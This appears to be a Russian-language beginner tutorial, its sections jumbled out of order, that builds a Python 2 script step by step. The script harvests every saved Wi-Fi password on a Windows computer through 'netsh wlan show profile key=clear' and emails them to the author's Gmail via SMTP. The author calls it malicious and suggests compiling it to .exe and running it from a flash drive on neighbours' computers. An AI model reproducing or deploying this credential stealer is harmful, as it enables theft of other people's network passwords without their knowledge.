Так же нам нужно поставить знак # перед этой строкой - send_mail("[email protected]", "1234321", result) сделали? отлично. И так для того чтобы минимально понять как работают регулярные вырожения, весь наш код, сейчас выглядит так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
#send_mail("[email protected]", "1234321", result)
А теперь я постараюсь, объяснить что такое регулярные выражения. И так для того чтобы понять, что это нам нужно перейти в cmd и ввести нашу команду: netsh wlan show profile послы выполнения команды, мы видим примерно следующее:
Все профили пользователя : TP-LINK32432
Все профили пользователя : ROSTELEKOM323C
Если у вас cmd на английским то вы будете видеть следующие:
All User Profile : TP-LINK32432
All User Profile : ROSTELEKOM323C
А теперь давайте запустим нашу программу, в том виде в котором она написанна сейчас, запустите у себя в cmd наш файл питона.. У вас должна появиться примерно следующая картина на экране командной строки:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
Может быть у вас и больше этих имен вайфай сетей, я здесь привожу уословный пример, у вас это может быть и 2 и 3 и сколько угодно имен, ваших сетей. И так регулярное выражения, оно помогает нам работать с абсолютно любыми символами или текстом, спомощью регулярных выражений используя их правила, мы можем в любой части, абсолютно любого текста, отобразить нужные нам символы или часть текста и так же скрыть не нужные, по этому в этой части нашей строки:
re.findall("(?:.*\s*:\s)(.*\r)", networks)
Мы используем наш модуль re с методом .findall и с помощью правила для регулярных выражений в круглых скобках ("(?:.*\s*:\s)(.*\r)", networks) мы отобразили только названия наших вайфай сетей и убрали весь не нужный нам текст. И после этого сохранили все это в переменную network_names. А эту строку print(network_names), мы написали с вами именно для того, чтобы вы увидели, результат работы регулярных выражений.
И сейчас вам не нужно ждать какого, то письма на почту потому, что мы "закоментировали" нашу функцию с помощью символа # вот здесь:
#send_mail("[email protected]", "1234321", result)
знак # говорит питону, что бы все строки у которые есть вначале # он не считал как код и не исполнял его. По этому мы специально отключили нашу функцию, потому, что я хотел наглядно показать вам, как работают регулярные выражения.
Отлично мы практически на финишной прямой. И так весь наш код сейчас выглядит следующим образом:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
print(network_names)
#send_mail("[email protected]", "1234321", result)
И первое, что мы сделаем далее давайте удалим вот эту строку: print(network_names), она нам больше не нужна, мы писали ее для того, чтобы наглядно увидеть как работают регулярные выражения, убираем ее:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
#send_mail("[email protected]", "1234321", result)
Далее держите в голове, что теперь в этой перменно:
network_names =
В этой строке:
network_names = re.findall("(?:.*\s*:\s)(.*\r)", networks)
Не просто, просто названия вайфай сете без лишнего текста, а это уже некий список, имен вайфай сете, потому, что у вас может быть и 3 и 4 и больше этих имен, поэтому давайте изменим нашу переменную network_names на переменную network_names_list
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
#send_mail("[email protected]", "1234321", result)
Отлично, двигаемся дальше нам осталось буквально 2-3 строчки, держитесь, теперь нам нужно использовать цыкл for в нашем коде. Что такое циклы? циклы применяется, для разных задач они есть в большинстве языков программирования. В нашем конкретном случае нужен цикл for, цикл for помогает перебирать какие элементы или объекты. И так дальше действуем, по той же схеме сначал вписываем очередные 2 строки и дальше я стараюсь объяснить, что мы сделали. И так пишем следующие 2 строки:
for network_name in network_names_list:
print(network_name)
И вписываем эти строки вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
print(network_name)
#send_mail("[email protected]", "1234321", result)
И так в этой строке:
for network_name in network_names_list:
Мы с вами создали цикл, for при чем обратите внимание, что прямо в цикле мы с вами создали новую, переменную network_name, которую раньше ни где с вами не создавали и не использовали. То есть ранее мы с вами создавали переменную как например переменная command и приравнивали ее чему-то, то есть наши переменные были чему-то равны. Сейчас же мы с вами создали новую переменную, прямо в новом цикле.
И так о чем говорит это строка, которую мы создали? О чем говорит наш цикл?
А говорит он, буквально если переводить на русский язык следующее:
Для каждого(for) элемента(network_name ) в(in) списке(network_names_list) сделай действие которые мы укажем в новой строке. То есть помните что в нашей переменной network_names_list находятся названия наших вайфай сете без лишний информации, вот в таком виде:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
Так вот, так как мы используем эту переменную network_names_list в цикле for и так как к этой переменной мы добавили в названии слово list питон автоматически понимает что это список, не важно сколько в этом с писке элементов, хоть 1 но питон считает это списком. И буквально в этой строке for network_name in network_names_list: мы говорим питону, возьми каждую запись или элемент(network_name ) из этого списка (network_names_list: ) и сделай с этим элементом действие которое мы мы тебе напишем в новой строке. То есть теперь для цикла for каждое название наших вайфай сетей из списка он будет сохранять в нашей новой переменной network_name .
То есть мы говорим питону буквально следующее:
for network_name in network_names_list:
Возьми каждое название вайфай сети из вот этого нашего списка.
И сделай с каждым этой сетью, с каждым этим именем(элементом) то что мы тебе скажем дальше. А дальше вот этой строкой:
print(network_name)
мы говорим питону, просто покажи нам все элементы которые хранятся в этом списке.
И далее питон будет делать следующее, он прочитает нашу строку с циклом, найдет первый элемент - первое название первой сети и потом покажет нам этот первый элемент. За тем, вернется к началу цикла снова, пройдет по нашей строке с циклом, найдет следующий элемент(название вайфай сети), покажет следующее название и так пока он не пройдет весь список и не найдет все элементы и не покажет их все. Но из-за тог что питон обработает код очень быстро нам при запуске программы он покажет уже все найденные элементы сразу.
То есть по сути вот эту строку - print(network_name) мы ее написали, для того, чтобы вы визуально смогли увидеть это список из своих вайфай сете. И увидели разницу, между тем, что было когда мы использовали регулярные выражения, напомню вы могли видеть примерно следующее:
[ 'TP-LINK32432 \r', 'ROSTELEKOM323C\r' ]
И как будет выглядеть это список сейчас, по этому идем и запускаем наш файл в командную строку.. Сейчас у вас на экране должен быть примерно следующий результат:
TP-LINK32432
ROSTELEKOM323C
....
Ну и так далее, в зависимости от того сколько у вас вайфай сетей в вашем конкретном случае. Отлично, я думаю сейчас не должно возникнуть ни каких проблем с запуском и вы увидели свой список вайфай сетей, по этому давайте двигаться дальше.
И так, наша строка:
print(network_name)
Была предназначена, для того чтобы вы визуально могли увидеть действие цикла for но для нашей конечной цели нашей программы, эта страка бесполезна. Давайте удалим ее. И так на настоящий момент, весь код нашей программы выглядит так:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
#send_mail("[email protected]", "1234321", result)
Давайте для нашего цикла for пропишем действительно полезную строку, она будет выглядеть следующим образом:
command = "netsh wlan show profile " + network_name + " key=clear"
И пишем мы ее внутри нашего цикла for точно так же как мы писали код внутри нашей функции, соблюдая отступ и так пишем:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
#send_mail("[email protected]", "1234321", result)
Я думаю, кто-то из вас уже догадался, зачем мы написали именно такую строку. И так, помните когда мы прописывали, команды в cmd, чтобы узнать пароль от вайфай сети это команда выглядела следующим образом:
netsh wlan show profile TP-LINK32432 key=clear
А теперь давайте посмотрим на строку, которую мы только, что написали
command = "netsh wlan show profile " + network_name + " key=clear"
И так строка которую мы недавно удалили из нашего кода, была следующая:
print(network_name)
Она показывала название каждой вайфай сети, то есть применялась к каждому элементу списка.
А теперь в нашей новой строке, переменная network_name(имя каждой вайфай сети) мы мы соединяем с нашей системной командой которая отображает пароль от вайфай сети. Помните, когда я говорил, о том, что, чтобы нам узнать пароль другой сети нам бу нужно было лезть в код и вот в этой строке:
command = "netsh wlan show profile TP-LINK32432 key=clear"
Изменять название вайфай сети в ручную, так вот наш цикл for и наша следующая строка в цикле for решает проблему, изменения названия сети и получения пароля
То есть сейчас в этой части когда мы говорим питону:
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
Возьми, каждый элемент из списка network_names_list: и подставь его в нашу системную команду вот здесь:
command = "netsh wlan show profile " + (network_name) + " key=clear"
и узнай пароли от каждой вайфай сети, потому что как вы помните, цикл for проходит по всему нашему списку вайфай сетей и соответственно в эту строку с командой:
command = "netsh wlan show profile " + network_name + " key=clear"
цикл в место переменной network_name подставит каждое имя каждой вайфай сети.
И получит, пароли от всех этих сетей. Отлично с этим разобрались, двигаемся дальше.
И так наша последняя строка которую мы написали, просто знает, что ей делать, но пока она не выполняет эту команду, по этому наша следующая строка будет выполнять, команду котору мы написали только что, и так следующая наша строка будет выглядеть таким образом current_result = subprocess.check_output(command, shell=True) и пишем мы ее здесь:
current_result = subprocess.check_output(command, shell=True)
И пишем вот здесь:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
#send_mail("[email protected]", "1234321", result)
Мы уже писали подобную команду в самом начале нашей программы, я не буду повторяться что она делает, если вы забили, что она делает вернитесь в начало статьи и вспомните что делает эта часть строки - subprocess.check_output(command, shell=True)
И так если говорить простыми словами, то эта строка:
current_result = subprocess.check_output(command, shell=True)
выполняет прошлую строку:
command = "netsh wlan show profile " + network_name + " key=clear"
И в переменной current_result сохраняет пароли от каждой вайфай сете.
Но сейчас будьте внимательны, сейчас будет очень важный момент
Давайте рассмотрим еще раз код нашего цикла:
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
И так как мы помни, что после того как цыкл выполнит все действия с первым элементом нашего списка, цикл начнется снова и произведет все те же действия с следующим элементом из нашего списка и так до конца.
И дело в том, что вот здесь в переменной current_result в этой строке:
current_result = subprocess.check_output(command, shell=True)
Каждый раз когда цикл будет начинать свой алгоритм заново с новым элементом(с новым именем новой вайфай сети) прошлый пароль от прошлой сети будет удален, для того, что переменная current_result могла сохранить в себе новый пароль от новой сети. И так будет происходить до последней вайфай сети в списке, то есть по факту когда цикл выполнит свою работу полностью, в переменной current_result будет храниться пароль от самой последней сети в списке и все. Но нам это не подходи, по этому для того чтобы нам сохранить все пароли от всех сетей, нам нужно создать переменную которая будет находится за пределами цикла. И так давайте ее создадим, пишем вот такую переменную result = "" выше нашего цикла for вот здесь :
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
#send_mail("[email protected]", "1234321", result)
Отлично мы создали нашу переменную result = "" которая равна ни чему "" пустоте. Далее пишем, следующую строку внутри нашего цикла for:
#!/usr/bin/env python
import subprocess, smtplib, re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:.*\s*:\s)(.*\r)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
#send_mail("[email protected]", "1234321", result)
И так что мы сделали сейчас, вначале мы создали переменную result за пределами нашего цикла, чтобы в ней сохранился каждый пароль от каждой вайфай сети, далее мы написали строку result = result + current_result которая будет работать следующим образом, и так сначала в переменной result пусто, нет ни каких данных, затем начинает работать цикл, цикл получает пароль от первой вайфай сети и сохраняет его переменной current_result переменная current_result передаст этот пароль переменной result вот в этой строке:
result = result + current_result
В переменной result сохранится имя и пароль от первой вайфай сети, дальше цикл начнется снова уже с следующим именем следующей вайфай сети переменная current_result передаст новые данные переменной result. После этого пароль удалится только из переменной current_result, а в переменной result уже будут данный и от первой вайфай сети и от второй и так до конца, пока цикл не пройдет весть список и current_result не передаст все данные которые сохранятся в переменной result
Круть, вы красавчики, потому что до шли до этого момент.
И нам осталось еще выполнить всего одно изменение давайте вернем работоспособность, нашей функции и уберем это знак # в начале этой строки:
send_mail("[email protected]", "1234321", result)
Отлично!! Хочу поздравить вас потому что мы закончили!! И написали свою собственную, программу которая собирает пароли, от вайфай сетей и отправляет их напрямую к нам на почту. И я понимаю, что сейчас возможно у кого-то появится, вопросы типо: "Ну как это использовать это же файл с расширением .py" Да да я знаю, что это не .exe файл, но задача статьи была, только в том, чтобы показать вам, как вы можете с минимальными знаниями или вообще без них (с моей помощью) сами написать вредоносную, программу. Теперь осталось найти в интернете информацию, о том как конвертировать файл питона в исполняемый файл .exe и с радостным и вредоносным лицом, с флешкой ходит по соседям. И на случай если нет денег на оплату интернета особо не переживать об этом. В конце приложу финальный скрин готового, кода, чтобы вы могли сравнить с тем,что у вас получилось и что-то подправить, у меня на этом все, всем пока.
Перед началом, работы нам нужно подготовиться и иметь в своем наличии следующее: установить интерпретатор python 2.7, мы будем использовать ОС Windows 10 если у вас какая-то другая ОС то вам нужно установить интерпретатор python 2.7 на вашу систему. Так же нам потребуется текстовой редактор Sublime Text3 или любой другой редактор. (Как это все установить, можно легко найти в интернете.)
И еще нам понадобится почта гугл, это может быть какая-то левая почта для теста, может быть и ваша постоянная почта это не важно. Я рекомендую создать левый гугл аккаунт и почту.
Я надеюсь с установкой всего необходимого вы справились, по этому переходим, к написанию программы(если вы не смогли справится с чем-то из выше написанного сами, закрывайте манул, и забудьте о программирование а тем более о каких-то взломах.)
Перед началом, нам нужно проделать еще небольшие манипуляции с гугл аккаунтом.
Заходим в аккаунт гугл, в боковом меню, переходим в вкладку "Безопасность" листаем в низ до раздела "Ненадежные приложения, у которых есть доступ к аккаунту" нажимаем на кнопку "Открыть доступ(не рекомендуется)" и в открывшимся окне нажимаем на кнопку, рядом с надписью "Небезопасные приложения заблокированы"
Так чтобы кнопка стала синей и было написано "Небезопасные приложения разрешены" Это делается для того, чтобы гугл не блокировал письма, которые мы будет отправлять с помощью нащей программы. Так как пароли от вайфа будут приходит к нам напрямую на почту. Теперь все готов!
Еще небольшое примечание, если в тексте я пишу слово "пишем" то это значит, что далее я прикреплю, часть кода которая будет изменена и будет отличаться от предыдущего кода, это будет означать что вам тоже нужно писать, или изменять свой код так же как вы будете это видеть в новом примере кода.
Если слово "пишем" не написано, и дальше будут какие-то части кода, это будет означать, что я просто объясняю вам, как работает та или иная часть нашей программы и ни чего писать вам в этот момент не нужно.
И еще хочу обратиться к профессорам и учителям, русского языка. Да здесь возможно будет много ошибок так как текста получиться очень много! И по этому для тех кто пришел, посчитать все запятые, желаю приятно время препровождения. Для тех же кто пришел, чему-то научиться, хочу извениться за возможные ошибки, и давайте начинать!
Все что мы будем, делать дальше я буду объяснять максимально простыми словами, для самых самых новичков, у которых нет ни каких знаний программирования так, что хочу сказать "гурам" питона, я понимаю, что вы возможно захотите меня в чем-то поправлять, но этот манул, для совсем совсем новичков.
Прежде чем мы приступим, к написанию самой программы, давайте сначала разберемся как запускать файлы питона с помощью интерпретатора в Windows 10.
1) Чтобы запустить файл питона, нам нужно находиться в той же самой директории(папке) где и расположен наш файл.
2) Нам нужно указать расположение самого интерпретатора питона, чтобы с помощью него запускать наш файл.
3) Нам нужно написать название самого файла.
И так открываем командную строку или на панели задачь в поиске пишем cmd
После открытия командной строки вы скорее всего увидете следующию строку
C:\Users\"имя вашей учетной записи">
Для того чтобы перейти в любую директорию, нам нужно выполнить простую команду "cd" (1 пробел) и имя директории в которую вы хотите перейти. Мой файл питона с нашей программой будет находиться в папке Загрузки(Download) поэтому чтобы мне перейти в директорию с фалом нужно будет ввести первую команду cd Download То есть целиком в строке у вас должно быть:
C:\Users\"имя вашей учетной записи"> cd Download
Нажимаем интер. После этой команды ваша директория должна измениться и в новой строке вы должны увидеть следующие:
C:\Users\"имя вашей учетной записи"\Download>
(в моем случае это папка Download в вашем это может быть любая директория в которой находится ваш файл питона.)
Это значит что в данный момент мы находимся, в директории Download
(Первый этап мы выполнили.) - "1) Чтобы запустить файл питона, нам нужно находиться в той же самой директории (папке) где и расположен наш файл."
Далее нам нужно указать расположения самого интерпретатора питона
У меня он расположен на диске C в папке Python 27 поэтому я пишу следующую комануд С:\Python27\python.exe
В целом у меня получается следующие:
C:\Users\"имя вашей учетной записи"\Download> С:\Python27\python.exe
(Второй этап, пройден) "2) Нам нужно указать расположение самого интерпретатора питона, чтобы с помощью него запускать наш файл"
"3) Указываем название файла." Это совсем просто, мы просто пишем название нашего файла после того как указали расположение интерпретатора.
И так для того, чтобы запускать наш файл мы будем использовать 2 команды.
cd Download - (чтобы перейти в директорию где находится файл, в моем случае это папка Download)
Нажимаем интер. И после того как перешли в нужную директорию следующая команда это:
С:\Python27\python.exe "название файла".py -(перед названием файла, должен быть 1 пробел) и нажимаем интер запускаем наш файл.
Так мы будем запускать наш файл, продублирую еще раз наши команды:
cd Download
С:\Python27\python.exe "название файла".py
Далее я не буду прописывать эти команды в тексте, а буду просто писать "запускаем файл", это значит что вам нужно будет выполнить эти команды в cmd
Но пока запускать нам нечего, по этому давайте создадим наш файл и перейдем непосредственно, к написанию, программы.
Открываем Sublime Text (у меня это Sublime Text3) в левом верхнем углу нажимаем на вкладку File и создаем - New File. У вас откроется пустое окно для написания и редактирования кода.
Теперь давайте превратим этот текстовой файл, в файл питона. В правом нижем углу находим кнопку "Plain Text" нажимаем и в открывшемся окне листаем в низ или в верх с помощью черных треугольных кнопок, пока не найдет надпись Python нажимаем на нее, готова, наш файл питона создан.
Теперь давайте сразу назовем и сохраним его в нужную нам директорию. Снова в левом верхнем углу нажимаем File далее жмем Save as.. выбираем папку куда сохранить файл у меня это будет папка Загрузки, пишем название файла, назовем его wifi_key_report. Тип файла не трогаем там у вас должно быть написано Python. Сохраняем, готово!
И так повторю что мы будем писать, мы с вами напишем, простой сборщик паролей вайфай, который будет отправлять эти пароли прямо к нам на гугл почту. Я буду стараться максимально просто объяснить по ходу написание, что мы делаем, но некоторые вещи, не так просто будет объяснить если у вас нет ни каких знаний, по этому где-то я буду, просто говорить, что писать.
И так после сохранения нашего файла, у вас должен был остаться открытым Sublime Text3 и название файла в верхней вкладке должно было измениться на wifi_key_report.py
И первое с чего мы начнем писать нашу программу это с написания шибанга питона. Является хорошей практикой или правилом хорошего тона начинать писать, любой файл с шибанга. Шибанг это директива, которая сообщает ОС, как нужно обрабатывать этот конкретный файл. И так из-за того, что это файл питона.
Наш шибанг будет следующим - #!/usr/bin/env python
И если вы пишете программу на 2 питоне как в нашем случае то пишем просто - #!/usr/bin/env python
Если вы пишите программу на питоне версии 3 то пишем так - #!/usr/bin/env python3
Еще раз это строка не обязательна, но хорошо если вы возьмете за привычку, всегда прописывать шибанг первой строкой, для файлов питона или других языков программирования.
Двигаемся дальше, в написании программ на питоне как и на другом любом языке программирования, разработчики используют библиотеки. Что бы объяснить, что такое библиотеки, я по пробую сравнить их с приложениями в смартфоне.
Когда нам нужно, выполнить какие-то определенные задачи на смартфоне, а в самом смартфоне ни каких инструментов для этих задач не предусмотрено. В таких случаях мы скачиваем стороннее приложение на смартфон и научившись им пользоваться, поняв его функции и интерфейс мы начинаем его использовать для нашей задачи.
Тоже самое и с библиотеками, это так скажем, модули которые мы добавляем в наш код и зная правила использования конкретного модуля, зная функции и инструменты этих модулей, мы можем их использовать для решения конкретных задач в нашей программе.
Давайте немного отвлечемся от программирования перейдем в командную строку(cmd) в Windows 10 и пропишем простую системную команду, пишем в cmd:
netsh wlan show profile (и нажмем Enter)
После исполнения данной команды, в командной строке вы должны увидеть список все вайфай сетей к которым когда либо был подключен, компьютер на котором вы выполняете эту команду. У меня в данном случае было отображено 2 вайфай сети(названия мои сетей условные у вас на экране будут свои названия сетей).
Все профили пользователя : TP-LINK32432
Все профили пользователя : ROSTELEKOM323C
Мы можем пойти еще дальше и если в конце команды напишем название какой-то конкретной сети в этом случае мы можем получить всю информацию о запрашиваемой вайфай сети. Пишем заново но добавляем новую часть команды:
netsh wlan show profile TP-LINK32432 (и нажимаем Enter)
Но пока эта информация для нас бесполезна, для того чтобы узнать пароль от конкретной вайфай сети нужно к предидущей команде, дописать еще одну часть команды. Пишем:
netsh wlan show profile TP-LINK32432 key=clear
После исполнения этой команды в разделе "Параметры безопасности" в строке
"Содержимое ключа" вы можете увидеть пароль от вайфай сети. Если у вас cmd на английском языке то в вашем случае это будет раздел "Security settings" строка "Key Content" Для того, чтобы очистить экран пишем команду cls
И так давайте в самом начале научим нашу программу выполнять системную команду, которую мы только что рассмотрели.
Для того, чтобы наша программа могла выполнять системные команды нам необходимо, импортировать в нашу программу библиотеку, котрая позволяет выполнять системные команды. Переходим в редактор кода.
И так для того , чтобы импортировать любую библиотеку питона, чтобы в дальнейшем ее использовать в нашей программе. Нужно ввести простую команду import и после написать название библиотеки которую хотите импортировать. Для нашей задачи нам понадобится библиотека subprocess, по этому с новой строки после шибанга пишем:
import subprocess
Важное примечание, многие библиотеки питона предустановленны и сразу будут доступны в виндовс, их можно будет импортировать, с помощью строки которую я написал выше. Но так же у вас могут возникнуть проблемы, с тем что каких-то библиотек нет на вашем компьютере.
Если при запуске нашей программы вы получите ошибку с следующим текстом: (ImportError: No module named "название библиотеки") это будет говорить о том, что библиотека название которой будет указанна в ошибке не может быть использована. И ее нужно установить отдельно.
Для того чтобы установить нужную библиотеку отдельно в командной строке cmd введите следующую команду: С:\Python27\python.exe -m pip install "название библиотеки" Например: С:\Python27\python.exe -m pip install subprocess и дождитесь скачивания и установки модуля.
И так далее после импортирования библиотеки нам нужно создать переменную, отступите 3-4 строки в низ от import, и с начала новой стройки пишем:
command = ""
Мы создали переменную command которая пока равна пустоте ни чему "" но в дальнейшем мы передадим ей команду, которую выполняли чтобы узнать пароли от вайфай. Рассматривайте переменные, как контейнеры или коробки в которые можно что-то положить(сохранить) и эти данные будут там хранится. Далее с начала новой строки после переменной пишем:
subprocess.Popen()
.Popen() - Это метод модуля subprocess который мы импортировали. Рассматривайте методы, как определенные функции или инструменты которые можно настроить в той библиотеки которую мы импортировали. Метод .Popen() - крут тем, что он может исполнять системные команды которые передали этому методу. И продолжает выполнение основной программы, то есть этот метод не ждет пока команда будет выполнена, чтобы продолжить работу основной программы.
Для того чтобы использовать методы библиотек мы пишем название библиотеки которую импортировали. Зачем "точка" и название метода который хотим использовать.
subprocess.Popen()
В конце мы добавляем скобки внутри которых передадим методу атрибуты или если говорить совсем простыми словами, чтобы настроить метод или передать методу определенные данные мы передаем их в скобках. Конечно, прочитав сейчас все это будет сложно сразу понять, все. Но не беспокойтесь сейчас вы все наглядно увидите и поймете.
Для того чтобы метод выполнил команду ему нужно передать переменную в котрой хранится наша команда. И так к этой минуте весь наш код выглядит так:
#!/usr/bin/env python
import subprocess
command = ""
subprocess.Popen()
Для того, чтобы передать методу переменную для выполнения команды, в скобках метода пишем:
#!/usr/bin/env python
import subprocess
command = ""
subprocess.Popen(command, shell=True)
То есть наша переменная command получит нашу команду в кавычки. Мы просто впишем нашу команду в кавычки "" и она будет сохранятся в нашей переменной command. Поэтому пишем в кавычки переменной command = "" нашу команду которую мы писали в cmd:
И так сейчас у нас должен получиться следующий код:
#!/usr/bin/env python
import subprocess
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Не забывайте, что название вайфай сети, должна быть ваша, а не TP-LINK32432.
Отлично, пока все готово, сейчас наш скрипт, может узнать пароль от конкретной вайфай сети. Но сейчас это мало эффективный скрипт, потому, что он не отправляет отчета о полученном результате нам на почту и может узнать пароль, только от одной конкретной вайфай сети. Давайте это исправим.
Следующим шагом, правильно будет написать функцию отправки полученной информации нам на почту, для этого мы напишем нашу собственную "функцию"
И так для того чтобы создать нашу собственную функцию отправки сообщений нам нужно импортировать новую библиотеку smtplib, импортировать библиотеки можно двумя способами или мы пишем, через запятую в одну строку после команды import
#!/usr/bin/env python
import subprocess, smtplib
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Или мы можем написать с новой строки полность заново:
#!/usr/bin/env python
import subprocess
import smtplib
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Оба эти способы верны, выбирайте любой на ваш выбор и импортируйте новую библиотек smtplib самостоятельно. Написали? отлично.
Давайте создавать нашу функцию. Для того чтобы создать функцию в питоне пишем ключевое слово def и после, пишем название функции с маленькой буквы, в конце ставим круглые скобки и двоеточие, назовем нашу функцию send_mail и так пишем:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail():
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Что такое функции? Воспринимайте функции, как набор инструкций для определенной части нашей программы, то есть сейчас мы создадим отдельную программу внутри нашей основной программы, пропишем ей правила того как она будет работать, чтобы эта отдельная часть программы отправляла результаты нашей программы нам на почту. И так!
Наша функция будет принимать на вход 3 аргумента, email, password, message, пишем в скобках функции:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Что значит принимать на вход? Пока об этом не думайте, дальше поймете что это значит. Если коротко говорить о том, что это значит. То когда мы передавали методу .Popen() нашу переменную command он принимал ее на вход.
То есть сейчас мы говорим нашей функции, что ты примешь от нас 3 тип данных, это логин нашей почты, пароль нашей почты и отправишь нам сообщение. Сейчас мы учим, нашу функцию, даем ей инструкции того как она будет работать..
Важное примечание, код который является частью функции, пишется внутри функции, то есть пишется с отступом. То есть код который относится к функции, считается только тем кодом, который имеет отступ, чтобы сделать отступ сначала строки нажмите кнопку Tab и только потом пишите код, если же ваш код написан с самого начала новой строки, то этот код не является частью функции а считается, отдельной частью программы. Будьте внимательны с этим, иначе ваша функция будет работать не корректно, в следствии естественно и программа запустится с ошибками.
Далее мы создаем, экземпляр smtp сервера. Сложно объяснить простыми словами следующие несколько строк, но я по пробую, Например когда вы отправляете сообщение с вашей почты на почту другого человека, программа похожая, на ту что мы напишем далее, выполняет саму эту отправку от вас и доставку к другому человеку вашего письма.
Пу сути, сейчас мы создадим, мини версию такой программы, такого сервера для отправки писем прям в нашей программе. Для этого нам и потребуется библиотека smtplib которую мы импортировали ранее. И так с новой строки нажимаем Tab то есть отступ, так как следующие несколько строк, будут являться часть функции, и пишем:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("")
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
Этой строкой server = smtplib.SMTP("") по сути мы и создаем тот самый механизм тот самый сервер, который далее мы обучим и объясним ему что ему делать. В кавычках мы должны указать сервер который мы будем использовать, а после кавычек его порт. Что такое порты и для чего они нужны, советую почитать самостоятельно. Мы будем использовать smtp сервер google потому что google позволяет пользователям, использоваться свои почтовые сервера.
Еще раз обратите внимание что строка server = smtplib.SMTP("") имеет отступ а не начинается сначала строки, таким образом все что имеет отступ автоматически становится частью нашей функции, если бы эта страка не имела отступа, она считалась бы как отдельная часть кода и функция работала бы не корректно.
И так продолжаем пишем в скобках строки server = smtplib.SMTP("") следующее:
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
command = "netsh wlan show profile TP-LINK32432 key=clear"
subprocess.Popen(command, shell=True)
И так это smtp сервер гугл "smtp.gmail.com" а это его порт 587, вот этой частью строки : smtplib.SMTP("smtp.gmail.com", 587) мы сказали что будем использовать smpt сервер гугла и передали его в переменную server. То есть по сути сейчас переменная server это и есть сервер который будет передавать, нам наши сообщения. Двигаемся дальше, пишем с новой строки и не забываем про отступ, пишем server.starttls():
#!/usr/bin/env python
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
